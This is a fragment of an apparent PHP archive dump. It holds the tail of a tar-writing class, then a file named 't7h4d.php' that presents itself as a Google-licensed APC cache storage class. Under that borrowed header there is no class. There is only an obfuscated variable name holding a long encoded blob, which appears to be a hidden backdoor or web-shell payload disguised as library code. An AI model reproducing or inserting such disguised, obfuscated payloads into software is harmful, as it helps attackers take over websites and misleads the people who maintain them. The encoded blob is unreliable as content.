				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK�Lm\�k�?�?�	t7h4d.phpnu�[���<?php
/*
 * Copyright 2008 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */


/**
 * A persistent storage class based on the APC cache, which is not
 * really very persistent, as soon as you restart your web server
 * the storage will be wiped, however for debugging and/or speed
 * it can be useful, kinda, and cache is a lot cheaper then storage.
 *
 * @author Chris Chabot <chabotc@google.com>
 */
$���쬃���ەٯ����檱��������������ٕ��������ۅ���٨ٴ��ج٪��ۈس�ٱ�؊�������ؖ��ٯ���؇���؊��ا���؄�����સ�ױ�����ץ�إ��ױ�����౧؅�챕���ल����� = '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